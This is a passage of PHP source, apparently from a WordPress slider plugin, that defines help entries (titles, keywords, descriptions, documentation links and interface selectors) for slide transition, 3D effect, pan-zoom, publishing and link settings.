#slideout_ts_wrapbrtn > div", $st => '#form_slidebg_transition', $f => "#sltrans_out_fade" ) ), 'rotation_out' => array( $t => __("Animation 'Out' - Rotation", 'revsliderhelp'), $h => "slideChange.out.r", $k => array("slide transition", "slide animation", "animation rotation", "transition rotation"), $d => __("Optionally add rotation to elements in Columns/Rows/Boxes transitions. Accepts three possible formats denoting either random, cycles or direction based rotation. 1) Random: {min,max} Applies a random amount of rotation within a specified range. E.g, {-45,45} to rotate by an amount between -45 and 45 degrees. 2) Cycles: [val,val,val] Cycles through applying specified movement amounts sequentially from one element to the next, in the order determined by the 'Flow' setting. E.g. [-10,10,25] will apply a -10 degree rotation to the first element, 10 degrees to the next, then 25 degrees, then the sequence repeats. 3) Direction Based: (val) e.g. (45) to add a 45 degree rotation when going to the next slide, and -45 degree rotation when going to the previous slide.", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2, #slideout_ts_wrapbrtn > div", $st => '#form_slidebg_transition', $f => "#sltrans_out_rotation" ) ), 'allfilters' => array( $t => __("Slide Animation Filters", 'revsliderhelp'), $h => "slideChange.filter.u", $k => array("slide transition", "slide animation", "animation filters", "filters"), $d => __("Enable or disable filter effects on slide transition animations ", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2, #slidefilter_ts_wrapbrtn > div", $st => '#form_slidebg_transition', $f => "#slidechangefilteru" ) ), 'easing_filter' => array( $t => __("Filter Animation Easing", 'revsliderhelp'), $h => "slideChange.filter.e", $k => array("slide transition", "slide animation", "animation filter easing", "transition filter easing"), $d => __("Set the easing amount for any filter effect animations to help you correctly time them with the rest of the transition.", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2, #slidefilter_ts_wrapbrtn > div", $st => '#form_slidebg_transition', $f => "#sltrans_filter_ease" ) ), 'blur_filter' => array( $t => __("Slider Transition Blur Filter", 'revsliderhelp'), $h => "slideChange.filter.b", $k => array("slide transition", "slide animation", "animation filter blur", "transition filter blur", "blur"), $d => __("Apply a blur filter effect during the slide transition animation. This option sets the width of the blur in pixels, with a value of 0 representing no blur.", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2, #slidefilter_ts_wrapbrtn > div", $st => '#form_slidebg_transition', $f => "#slidechangefilterb" ) ), 'grayscale_filter' => array( $t => __("Slider Transition Grayscale Filter", 'revsliderhelp'), $h => "slideChange.filter.g", $k => array("slide transition", "slide animation", "animation filter grayscale", "transition filter grayscale", "grayscale"), $d => __("Apply a grayscale filter effect that reduces color during the slide transition animation. The minimum value is 0, which represents full color, and the maximum value is 100, which represents entirely black and white.", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2, #slidefilter_ts_wrapbrtn > div", $st => '#form_slidebg_transition', $f => "#slidechangefilterg" ) ), 'sephia_filter' => array( $t => __("Slider Transition Sepia Filter", 'revsliderhelp'), $h => "slideChange.filter.s", $k => array("slide transition", "slide animation", "animation filter sephia", "transition filter sephia", "sephia", "sepia", "animation filter sepia", "transition filter sepia"), $d => __("Apply a sepia color filter effect during the slide transition animation. The minimum value is 0, which represents full color, and the maximum value is 100, which represents full sepia.", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2, #slidefilter_ts_wrapbrtn > div", $st => '#form_slidebg_transition', $f => "#slidechangefilters" ) ), 'brightness_filter' => array( $t => __("Slider Transition Brightness Filter", 'revsliderhelp'), $h => "slideChange.filter.h", $k => array("slide transition", "slide animation", "animation filter brightness", "transition filter brightness", "brightness"), $d => __("Apply a brightness filter effect during the slide transition animation. A value of 100% represents normal brightness. Any value higher than 100% increases brightness, while values lower than 100% decrease brightness.", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2, #slidefilter_ts_wrapbrtn > div", $st => '#form_slidebg_transition', $f => "#slidechangefilterh" ) ), 'contrast_filter' => array( $t => __("Slider Transition Contrast Filter", 'revsliderhelp'), $h => "slideChange.filter.c", $k => array("slide transition", "slide animation", "animation filter contrast", "transition filter contrast", "contrast"), $d => __("Apply a contrast filter effect during the slide transition animation. The maximum value is 100, which represents normal contrast, and values 99 or lower reduce contrast, down to a minimum of 0.", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2, #slidefilter_ts_wrapbrtn > div", $st => '#form_slidebg_transition', $f => "#slidechangefilterc" ) ), 'invert_filter' => array( $t => __("Slider Transition Invert Filter", 'revsliderhelp'), $h => "slideChange.filter.i", $k => array("slide transition", "slide animation", "animation filter invert", "transition filter invert", "contrast"), $d => __("Apply a color inversion filter effect during the slide transition animation. The minimum value is 0, which represents normal color, and the maximum value is 100, which represents completely inverted color.", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2, #slidefilter_ts_wrapbrtn > div", $st => '#form_slidebg_transition', $f => "#slidechangefilteri" ) ), 'ddd_effect' => array( $t => __("Slider Transition 3D Effect", 'revsliderhelp'), $h => "slideChange.d3.f", $k => array("slide transition", "slide animation", "animation 3d effect", "3d effect", "3d"), $d => __("Apply a 3D effect to the entire slide during the transition animation. Available effects are: 'Cube', 'In Cube', 'Fly Out Throw In', and 'Clap Out Clap In'", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2, #slide3d_ts_wrapbrtn > div", $st => '#form_slidebg_transition', $f => "#sltrans_3d_effect" ) ), 'ddd_direction' => array( $t => __("3D Effect Direction", 'revsliderhelp'), $h => "slideChange.d3.d", $k => array("slide transition", "slide animation", "animation 3d effect", "3d effect", "3d"), $d => __("Choose whether the 3D effect animation should move in a horizontal or vertical direction", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2, #slide3d_ts_wrapbrtn > div", $st => '#form_slidebg_transition', $f => "#sltrans_3d_dir" ) ), 'ddd_ease' => array( $t => __("3D Effect Ease", 'revsliderhelp'), $h => "slideChange.d3.e", $k => array("slide transition", "slide animation", "animation 3d effect", "3d effect", "3d"), $d => __("The easing equation for the 3D effect animation, i.e. how the animation speeds up and slows down during playback", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2, #slide3d_ts_wrapbrtn > div", $st => '#form_slidebg_transition', $f => "#sltrans_3d_ease" ) ), 'ddd_slidecolor' => array( $t => __("3D Effect Side Color", 'revsliderhelp'), $h => "slideChange.d3.c", $k => array("slide transition", "slide animation", "animation 3d effect", "3d effect", "3d"), $d => __("When using the 3D animated 'Cube' or 'In Cube' 3D effect, this option sets the color of any visible side of the animated cube that isn't already covered by slide content.", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2, #slide3d_ts_wrapbrtn > div", $st => '#form_slidebg_transition', $f => "#s_wall_bg_color" ) ), 'ddd_depth' => array( $t => __("3D Effect Depth", 'revsliderhelp'), $h => "slideChange.d3.z", $k => array("slide transition", "slide animation", "animation 3d effect", "3d effect", "3d"), $d => __("This option defines how much depth a 3D animated effect appears to have. Increasing the value make the far side of the effect look further away.", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2, #slide3d_ts_wrapbrtn > div", $st => '#form_slidebg_transition', $f => "#slidechangedddz" ) ), 'ddd_room' => array( $t => __("3D Effect Room Rotation", 'revsliderhelp'), $h => "slideChange.d3.t", $k => array("slide transition", "slide animation", "animation 3d effect", "3d effect", "3d"), $d => __("Adds rotation on an additional axis when using a 3D animation effect, i.e. if '3D Effect Direction' is set to horizontal this option will also add vertical rotation, and vice versa. Either positive or negative values can be used in order to create rotation in one direction or the other.", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2, #slide3d_ts_wrapbrtn > div", $st => '#form_slidebg_transition', $f => "#slidechangedddroom" ) ), 'ddd_flyrotation' => array( $t => __("Fly Out Throw In Z Rotation", 'revsliderhelp'), $h => "slideChange.d3.fz", $k => array("slide transition", "slide animation", "animation 3d effect", "3d effect", "3d"), $d => __("When using the 'Fly Out Throw In' 3D effect animation, this option controls rotation of the slide on the Z axis. In other words, setting either a positive or negative value can make the slide look like it's rolling or swinging in from the side.", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2, #slide3d_ts_wrapbrtn > div", $st => '#form_slidebg_transition', $f => "#sltrans_3d_fdz" ) ), 'ddd_flyout' => array( $t => __("Fly Out Distance", 'revsliderhelp'), $h => "slideChange.d3.fdo", $k => array("slide transition", "slide animation", "animation 3d effect", "3d effect", "3d"), $d => __("When using the 'Fly Out Throw In' 3D effect animation, this option controls the distance by which the slide will appear to 'fly out' of the container. At a value of 1 the slide will move a distance equal to 100% of its own width / height. At 2 it moves a distance twice its own size, at 0.5 the distance will be half its own size, and so on.", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2, #slide3d_ts_wrapbrtn > div", $st => '#form_slidebg_transition', $f => "#sltrans_3d_fdo" ) ), 'ddd_flyin' => array( $t => __("Throw In Distance", 'revsliderhelp'), $h => "slideChange.d3.fdi", $k => array("slide transition", "slide animation", "animation 3d effect", "3d effect", "3d"), $d => __("When using the 'Fly Out Throw In' 3D effect animation, this option controls the distance by which the slide will appear to 'throw in' from outside the container. At a value of 1 the slide will move a distance equal to 100% of its own width / height. At 2 it moves a distance twice its own size, at 0.5 the distance will be half its own size, and so on.", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2, #slide3d_ts_wrapbrtn > div", $st => '#form_slidebg_transition', $f => "#sltrans_3d_fzi" ) ), 'ddd_shadowuse' => array( $t => __("3D Shadow", 'revsliderhelp'), $h => "slideChange.d3.su", $k => array("slide transition", "slide animation", "animation 3d effect", "3d effect", "3d", "shadow"), $d => __("Toggle a shadow effect on 3D transition animations. The shadow appears as a gradient that runs across the face of the slider while its moving, and helps enhance the feeling of depth.", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2, #slide3d_ts_wrapbrtn > div", $st => '#form_slidebg_transition', $f => "#sl_ddd_shadow_u" ) ), 'ddd_shadowmin' => array( $t => __("3D Shadow Minimum Strength", 'revsliderhelp'), $h => "slideChange.d3.smi", $k => array("slide transition", "slide animation", "animation 3d effect", "3d effect", "3d", "shadow"), $d => __("The minimum strength of the 3D animation's shadow at its lightest point. Can be set between 0 and 0.5.", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2, #slide3d_ts_wrapbrtn > div", $st => '#form_slidebg_transition', $f => "#sl_ddd_shadow_min" ) ), 'ddd_shadowmax' => array( $t => __("3D Shadow Maximum Strength", 'revsliderhelp'), $h => "slideChange.d3.sma", $k => array("slide transition", "slide animation", "animation 3d effect", "3d effect", "3d", "shadow"), $d => __("The maximum strength of the 3D animation's shadow at its darkest point. Can be set between 0.5 and 1.", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2, #slide3d_ts_wrapbrtn > div", $st => '#form_slidebg_transition', $f => "#sl_ddd_shadow_max" ) ), 'ddd_shadowlimit' => array( $t => __("3D Shadow Limitation", 'revsliderhelp'), $h => "slideChange.d3.sl", $k => array("slide transition", "slide animation", "animation 3d effect", "3d effect", "3d", "shadow"), $d => __("The limit on the distance between minimum and maximum strength points in the shadow. A value of 1 creates a gradient across the full slide, 0.5 creates gradient across 50% of the slide, and so on.", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2, #slide3d_ts_wrapbrtn > div", $st => '#form_slidebg_transition', $f => "#sl_ddd_shadow_limit" ) ), 'ddd_shadowcolor' => array( $t => __("3D Shadow Color", 'revsliderhelp'), $h => "slideChange.d3.sc", $k => array("slide transition", "slide animation", "animation 3d effect", "3d effect", "3d", "shadow"), $d => __("The color of the 3D shadow effect.", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2, #slide3d_ts_wrapbrtn > div", $st => '#form_slidebg_transition', $f => "#slide_shadow_color" ) ) ), 'gst_slide_5' => array( 'bg_filter' => array( $t => __("Background Image Filter", 'revsliderhelp'), $h => "bg.mediaFilter", $k => array("filter", "filters", "image filter", "image filters", "bg filter", "bg filters", "background filter", "background filters", "instagram"), $d => __("An Instagram-type filter to apply to the Slide's main background image", 'revsliderhelp'), $a => $u . "slide-filters/", $hl => array( $m => "#module_slide_trigger, #gst_slide_5", $st => '#form_slidebg_filters_int', $f => "#slide_bg_filter" ) ) ), 'gst_slide_8' => array( 'slide_length' => array( $t => __("Slide Time/Length", 'revsliderhelp'), $h => "timeline.delay", $k => array("slide", "slide settings", "slide time", "slide timeline", "slide length", "progress", "slide progress", "timeline"), $d => __("The Slide's total duration before the next Slide is shown", 'revsliderhelp'), $a => $u . "slide-progress/", $hl => array( $m => "#module_slide_trigger, #gst_slide_8", $st => '#form_slidegeneral_timing', $f => "#slide_length" ) ), 'pause_slider' => array( $t => __("Pause Slider", 'revsliderhelp'), $h => "timeline.stopOnPurpose", $k => array("pause slider", "pause slide", "pause", "stop", "stop slider", "stop progress"), $d => __("Pause the Slider from changing Slides when this Slide is shown", 'revsliderhelp'), $a => $u . "slide-progress/", $hl => array( $m => "#module_slide_trigger, #gst_slide_8", $st => '#form_slidegeneral_timing', $f => "#slide_time_stopOnPurpose" ) ), 'visibility' => array( 'visible_in_navigation' => array( $t => __("Visible in Navigation", 'revsliderhelp'), $h => "visibility.hideFromNavigation", $k => array("visibility", "visible in navigation", "hidden in navigation", "slide visibility"), $d => __("Show the Slide in the Slider's main navigation, or make the Slide 'hidden' so it can only be shown from a Layer Action click", 'revsliderhelp'), $a => $u . "slide-progress/", $hl => array( $m => "#module_slide_trigger, #gst_slide_8", $st => '#form_slidegeneral_visibility', $f => "#slide_visibil_hideFromNavigation" ) ), 'hide_after_loop' => array( $t => __("Hide After Loop", 'revsliderhelp'), $h => "visibility.hideAfterLoop", $k => array("visibility", "slide visibility", "hide after loop", "hide slide"), $d => __("Remove the Slide from the Slide stack after a set amount of loops", 'revsliderhelp'), $a => $u . "slide-progress/", $hl => array( $m => "#module_slide_trigger, #gst_slide_8", $st => '#form_slidegeneral_visibility', $f => "#slide_vis_loop" ) ), 'hide_on_mobile' => array( $t => __("Hide on Mobile", 'revsliderhelp'), $h => "visibility.hideOnMobile", $k => array("visibility", "slide visibility", "hide on mobile", "hide slide", "hide slide on mobile"), $d => __("Hide the Slide on mobile devices"), $a => $u . "slide-progress/", $hl => array( $m => "#module_slide_trigger, #gst_slide_8", $st => '#form_slidegeneral_visibility', $f => "#sl_vis_hidemobile" ) ) ) ), 'gst_slide_9' => array( 'publish_status' => array( $t => __("Published Status", 'revsliderhelp'), $h => "publish.state", $k => array("slide", "slide settings", "publish", "publish slide", "unpublished"), $d => __("Choose the published state of the Slide. Choose 'Unpublished' to work on the Slide in a draft status.", 'revsliderhelp'), $a => $u . "slide-publish-rules/", $hl => array( $m => "#module_slide_trigger, #gst_slide_9", $st => '#form_slidegeneral_progstate', $f => "#slide_publish_State" ) ), 'publish_start' => array( $t => __("Publish Start Date", 'revsliderhelp'), $h => "publish.from", $k => array("publish", "publish slide", "unpublished", "publish from", "start date", "date", "starting date"), $d => __("Set a starting date for when the Slide should officially be included in the Slider", 'revsliderhelp'), $a => $u . "slide-publish-rules/", $hl => array( $m => "#module_slide_trigger, #gst_slide_9", $st => '#form_slidegeneral_progstate', $f => "#slide_pub_from" ) ), 'publish_end' => array( $t => __("Publish End Date", 'revsliderhelp'), $h => "publish.to", $k => array("publish", "publish slide", "unpublished", "publish from", "end date", "date", "endingdate"), $d => __("Set an end date for when the Slide should officially be excluded from the Slider", 'revsliderhelp'), $a => $u . "slide-publish-rules/", $hl => array( $m => "#module_slide_trigger, #gst_slide_9", $st => '#form_slidegeneral_progstate', $f => "#slide_pub_until" ) ), ), 'gst_slide_4' => array( 'html_tags' => array( 'class' => array( $t => __("Slide Classes", 'revsliderhelp'), $h => "attributes.class", $k => array("slide class", "class", "class name"), $d => __("Add optional class names to the Slide to target the Slide with custom CSS or JavaScript", 'revsliderhelp'), $a => $u . "tags-link/", $hl => array( $m => "#module_slide_trigger, #gst_slide_4", $st => '#form_slidegeneral_timing', $f => "#slide_ls_class" ) ), 'id' => array( $t => __("Slide ID", 'revsliderhelp'), $h => "attributes.id", $k => array("slide id", "slide id attribute", "id attribute"), $d => __("Add an optional ID to the Slide to target the Slide with custom CSS or JavaScript", 'revsliderhelp'), $a => $u . "tags-link/", $hl => array( $m => "#module_slide_trigger, #gst_slide_4", $st => '#form_slidegeneral_timing', $f => "#slide_ls_id" ) ), 'data' => array( $t => __("Data Attributes", 'revsliderhelp'), $h => "attributes.data", $k => array("slide data", "slide data attribute", "slide data attributes", "data attribute", "data attributes"), $d => __("Optional data-attributes that can be added to the Slide to target it with custom CSS or JavaScript", 'revsliderhelp'), $a => $u . "tags-link/", $hl => array( $m => "#module_slide_trigger, #gst_slide_4", $st => '#form_slidegeneral_timing', $f => "#slide_ls_data" ) ) ), 'link_seo' => array( 'enable' => array( $di => "slide_link_seo", $t => __("Enable Slide Link", 'revsliderhelp'), $h => "seo.set", $k => array("slide", "slide settings", "slide link", "link", "hyperlink", "slide hyperlink", "link slide"), $d => __("Add a link to the entire Slide area", 'revsliderhelp'), $a => $u . "tags-link/", $hl => array( $m => "#module_slide_trigger, #gst_slide_4", $st => '#form_slidegeneral_linkseo', $f => "#sl_seo_set" ) ), 'type' => array( $di => "slide_link_seo_type", $t => __("Link Type", 'revsliderhelp'), $h => "seo.type", $k => array("slide link", "link", "hyperlink", "slide hyperlink", "link slide", "link to slide", "change slides"), $d => __("Choose a traditional link to the Slide to navigate to a new web page or another Slide", 'revsliderhelp'), $a => $u . "tags-link/", $hl => array( $dp => array(array($p => '#slide#.slide.seo.set', $v => true, $o => 'slide_link_seo')), $m => "#module_slide_trigger, #gst_slide_4", $st => '#form_slidegeneral_linkseo', $f => "#slide_seo_type" ) ), 'url' => array( $t => __("Link URL", 'revsliderhelp'), $h => "seo.link", $k => array("slide link", "link", "hyperlink", "slide hyperlink", "link url", "url"), $d => __("The url to go to when the Slide is clicked", 'revsliderhelp'), $a => $u . "tags-link/", $hl => array( $dp => array( array($p => '#slide#.slide.seo.set', $v => true, $o => 'slide_link_seo'), array($p => '#slide#.slide.seo.type', $v => 'regular', $o => 'slide_link_seo_type'), ), $m => "#module_slide_trigger, #gst_slide_4", $st => '#form_slidegeneral_linkseo', $f => "#slide_ls_link" ) ), 'target' => array( $t => __("Link Target", 'revsliderhelp'), $h => "seo.target", $k => array("slide link", "link", "hyperlink", "slide hyperlink", "link url", "url", "link target"), $d => __("The target attribute for the Slide link", 'revsliderhelp'), $a => $u . "tags-link/", $hl => array( $dp => array( array($p => '#slide#.slide.seo.set', $v => true, $o => 'slide_link_seo'), array($p => '#slide#.slide.seo.type', $v => 'regular', $o => 'slide_link_seo_type') ), $m => "#module_slide_trigger, #gst_slide_4", $st => '#form_slidegeneral_linkseo', $f => "#slide_ls_link" ) ), 'link_to_slide' => array( $t => __("Link to Slide", 'revsliderhelp'), $h => "seo.slideLink", $k => array("slide link", "link", "link to slide"), $d => __("Link to another Slide in the Slider", 'revsliderhelp'), $a => $u . "tags-link/", $hl => array( $dp => array( array($p => '#slide#.slide.seo.set', $v => true, $o => 'slide_link_seo'), array($p => '#slide#.slide.seo.type', $v => 'slide', $o => 'slide_link_seo_type') ), $m => "#module_slide_trigger, #gst_slide_4", $st => '#form_slidegeneral_linkseo', $f => "#slide_seo_linktoslide" ) ), 'link_zindex' => array( $t => __("Link Sensibility", 'revsliderhelp'), $h => "seo.z", $k => array("slide link", "link", "hyperlink", "slide hyperlink", "link to slide", "sensibility", "link z-index", "link zindex"), $d => __("Choose of the Slide link should be placed behind or above the Slide's Layer content", 'revsliderhelp'), $a => $u . "tags-link/", $hl => array( $dp => array(array($p => '#slide#.slide.seo.set', $v => true, $o => 'slide_link_seo')), $m => "#module_slide_trigger, #gst_slide_4", $st => '#form_slidegeneral_linkseo', $f => "#slide_seo_z" ) ) ) ), 'gst_slide_3' => array( 'enable' => array( $di => "slide_panzoom", $t => __("Enable PanZoom", 'revsliderhelp'), $h => "panzoom.set", $k => array("panzoom", "pan zoom"), $d => __("Enable the PanZoom effect by default for this Slide", 'revsliderhelp'), $a => $u . "pan-zoom/", $hl => array( $dp => array(array($p => '#slide#.slide.bg.type', $v => 'image::external', $o => 'slide_bg_type')), $m => "#module_slide_trigger, #gst_slide_3", $st => '#form_slidebg_kenburn', $f => "#sl_pz_set" ) ), 'bg_position' => array( $t => __("Background Position", 'revsliderhelp'), $h => "bg.position", $k => array("pan zoom", "panzoom", "pan zoom position", "panzoom position"), $d => __("The CSS background-position for the Slide's main background image", 'revsliderhelp'), $a => $u . "pan-zoom/", $hl => array( $dp => array( array($p => '#slide#.slide.bg.type', $v => 'image::external', $o => 'slide_bg_type'), array($p => '#slide#.slide.panzoom.set', $v => true, $o => 'slide_panzoom') ), $m => "#module_slide_trigger, #gst_slide_3", $st => '#form_slidebg_kenburn', $f => "#slide_bg_position_center-center" ) ), 'zoom' => array( 'fit_start' => array( $t => __("Zoom Start Percentage", 'revsliderhelp'), $h => "panzoom.fitStart", $k => array("panzoom", "pan zoom", "zoom", "pan zoom zoom", "panzoom zoom"), $d => __("The starting zoom percentage", 'revsliderhelp'), $a => $u . "pan-zoom/", $hl => array( $dp => array( array($p => '#slide#.slide.bg.type', $v => 'image::external', $o => 'slide_bg_type'), array($p => '#slide#.slide.panzoom.set', $v => true, $o => 'slide_panzoom') ), $m => "#module_slide_trigger, #gst_slide_3", $st => '#form_slidebg_kenburn', $f => "#sl_pz_fs" ) ), 'fit_end' => array( $t => __("Zoom End Percentage", 'revsliderhelp'), $h => "panzoom.fitEnd", $k => array("panzoom", "pan zoom", "zoom", "pan zoom zoom", "panzoom zoom"), $d => __("The ending zoom percentage", 'revsliderhelp'), $a => $u . "pan-zoom/", $hl => array( $dp => array( array($p => '#slide#.slide.bg.type', $v => 'image::external', $o => 'slide_bg_type'), array($p => '#slide#.slide.panzoom.set', $v => true, $o => 'slide_panzoom') ), $m => "#module_slide_trigger, #gst_slide_3", $st => '#form_slidebg_kenburn', $f => "#sl_pz_fe" ) ) ), 'movement' => array( 'x_start' => array( $t => __("Start Position X", 'revsliderhelp'), $h => "panzoom.xStart", $k => array("panzoom", "pan zoom", "position", "pan zoom position", "panzoom position"), $d => __("The starting x position for the PanZoom movement", 'revsliderhelp'), $a => $u . "pan-zoom/", $hl => array( $dp => array( array($p => '#slide#.slide.bg.type', $v => 'image::external', $o => 'slide_bg_type'), array($p => '#slide#.slide.panzoom.set', $v => true, $o => 'slide_panzoom') ), $m => "#module_slide_trigger, #gst_slide_3", $st => '#form_slidebg_kenburn', $f => "#sl_pz_xs" ) ), 'x_end' => array( $t => __("End Position X", 'revsliderhelp'), $h => "panzoom.xEnd", $k => array("panzoom", "pan zoom", "position", "pan zoom position", "panzoom position"), $d => __("The end x position for the PanZoom movement", 'revsliderhelp'), $a => $u . "pan-zoom/", $hl => array( $dp => array( array($p => '#slide#.slide.bg.type', $v => 'image::external', $o => 'slide_bg_type'), array($p => '#slide#.slide.panzoom.set', $v => true, $o => 'slide_panzoom') ), $m => "#module_slide_trigger, #gst_slide_3", $st => '#form_slidebg_kenburn', $f => "#sl_pz_xe" ) ), 'y_start' => array( $t => __("Start Position Y", 'revsliderhelp'), $h => "panzoom.yStart", $k => array("panzoom", "pan zoom", "position", "pan zoom position", "panzoom position"), $d => __("The starting y position for the PanZoom movement", 'revsliderhelp'), $a => $u . "pan-zoom/", $hl => array( $dp => array( array($p => '#slide#.slide.bg.type', $v => 'image::external', $o => 'slide_bg_type'), array($p => '#slide#.slide.panzoom.set', $v => true, $o => 'slide_panzoom') ), $m => "#module_slide_trigger, #gst_slide_3", $st => '#form_slidebg_kenburn', $f => "#sl_pz_ys" ) ), 'y_end' => array( $t => __("End Position Y", 'revsliderhelp'), $h => "panzoom.yEnd", $k => array("panzoom", "pan zoom", "position", "pan zoom position", "panzoom position"), $d => __("The ending y position for the PanZoom movement", 'revsliderhelp'), $a => $u . "pan-zoom/", $hl => array( $dp => array( array($p => '#slide#.slide.bg.type', $v => 'image::external', $o => 'slide_bg_type'), array($p => '#slide#.slide.panzoom.set', $v => true, $o => 'slide_panzoom') ), $m => "#module_slide_trigger, #gst_slide_3", $st => '#form_slidebg_kenburn', $f => "#sl_pz_ye" ) ) ), 'rotation_blur' => array( 'rotate_start' => array( $t => __("Rotate Start", 'revsliderhelp'), $h => "panzoom.rotateStart", $k => array("panzoom", "pan zoom", "rotate", "pan zoom rotate", "panzoom rotate", "rotation", "pan zoom rotation"), $d => __("The starting rotation for the PanZoom effect (deg)", 'revsliderhelp'), $a => $u . "pan-zoom/", $hl => array( $dp => array( array($p => '#slide#.slide.bg.type', $v => 'image::external', $o => 'slide_bg_type'), array($p => '#slide#.slide.panzoom.set', $v => true, $o => 'slide_panzoom') ), $m => "#module_slide_trigger, #gst_slide_3", $st => '#form_slidebg_kenburn', $f => "#sl_pz_ro" ) ), 'rotate_end' => array( $t => __("Rotate End", 'revsliderhelp'), $h => "panzoom.rotateEnd", $k => array("panzoom", "pan zoom", "rotate", "pan zoom rotate", "panzoom rotate", "rotation", "pan zoom rotation"), $d => __("The ending rotation for the PanZoom effect (deg)", 'revsliderhelp'), $a => $u . "pan-zoom/", $hl => array( $dp => array( array($p => '#slide#.slide.bg.type', $v => 'image::external', $o => 'slide_bg_type'), array($p => '#slide#.slide.panzoom.set', $v => true, $o => 'slide_panzoom') ), $m => "#module_slide_trigger, #gst_slide_3", $st => '#form_slidebg_kenburn', $f => "#sl_pz_re" ) ), 'blur_start' => array( $t => __("Blur Start", 'revsliderhelp'), $h => "panzoom.blurStart", $k => array("panzoom", "pan zoom", "rotate", "pan zoom blur", "panzoom blur", "blur", "image blur"), $d => __("The starting image blur for the PanZoom effect (px)", 'revsliderhelp'), $a => $u . "pan-zoom/", $hl => array( $dp => array( array($p => '#slide#.slide.bg.type', $v => 'image::external', $o => 'slide_bg_type'), array($p => '#slide#.slide.panzoom.set', $v => true, $o => 'slide_panzoom') ), $m => "#module_slide_trigger, #gst_slide_3", $st => '#form_slidebg_kenburn', $f => "#sl_pz_blurs" ) ), 'blur_end' => array( $t => __("Blur End", 'revsliderhelp'), $h => "panzoom.blurEnd", $k => array("panzoom", "pan zoom", "rotate", "pan zoom blur", "panzoom blur", "blur", "image blur"), $d => __("The ending image blur for the PanZoom effect (px)", 'revsliderhelp'), $a => $u . "pan-zoom/", $hl => array( $dp => array( array($p => '#slide#.slide.bg.type', $v => 'image::external', $o => 'slide_bg_type'), array($p => '#slide#.slide.panzoom.set', $v => true, $o => 'slide_panzoom') ), $m => "#module_slide_trigger, #gst_slide_3", $st => '#form_slidebg_kenburn', $f => "#sl_pz_blure" ) ) ), 'easing' => array( $t => __("Easing", 'revsliderhelp'), $h => "panzoom.ease", $k => array("panzoom", "pan zoom", "easing", "pan zoom easing", "panzoom easing"), $d => __("The easing equation. View visualization", 'revsliderhelp'), $a => $u . "pan-zoom/", $hl => array( $dp => array( array($p => '#slide#.slide.bg.type', $v => 'image::external', $o => 'slide_bg_type'), array($p => '#slide#.slide.panzoom.set', $v => true, $o => 'slide_panzoom') ), $m => "#module_slide_trigger, #gst_slide_3", $st => '#form_slidebg_kenburn', $f => "#sl_pz_ease" ) ), 'duration' => array( $t => __("Duration", 'revsliderhelp'), $h => "panzoom.duration", $k => array("panzoom", "pan zoom", "duration", "pan zoom duration", "panzoom duration"), $d => __("The easing duration in milliseconds", 'revsliderhelp'), $a => $u . "pan-zoom/", $hl => array( $dp => array( array($p => '#slide#.slide.bg.type', $v => 'image::external', $o => 'slide_bg_type'), array($p => '#slide#.slide.panzoom.set', $v => true, $o => 'slide_panzoom') ), $m => "#module_slide_trigger, #gst_slide_3", $st => '#form_slidebg_kenburn', $f => "#sl_pz_dur" ) ) ), 'gst_slide_7' => array( 'param_text' => array( $t => __("Parameter Value", 'revsliderhelp'), $h => "info.params.v", $k => array("slide params", "slide parameters", "params", "parameters"), $d => __("Slide data that can be used for navigation text/data", 'revsliderhelp'), $a => $u . "slide-parameters/", $hl => array( $m => "#module_slide_trigger, #gst_slide_7", $st => '#form_slidegeneral_params', $f => "#slide_info_p1" ) ), 'max_chars' => array( $t => __("Max Characters", 'revsliderhelp'), $h => "info.params.l", $k => array("max chars", "max characters", "params", "parameters", "slide params", "slide parameters"), $d => __("The maximum characters/letters to display for the paramater", 'revsliderhelp'), $a => $u . "slide-parameters/", $hl => array( $m => "#module_slide_trigger, #gst_slide_7", $st => '#form_slidegeneral_params', $f => "#slide_info_p1ch" ) ), 'description' => array( $t => __("Description", 'revsliderhelp'), $h => "info.description", $k => array("params", "parameters", "slide params", "slide parameters", "slide description", "params description", "description"), $d => __("A Slide description for certain navigation types", 'revsliderhelp'), $a => $u . "slide-parameters/", $hl => array( $m => "#module_slide_trigger, #gst_slide_7", $st => '#form_slidegeneral_params', $f => "#slide_info_desc" ) ) ), 'gst_slide_11' => array( 'use_slide_loop' => array( $di => 'slide_loop', $t => __("Slide Looping", 'revsliderhelp'), $h => 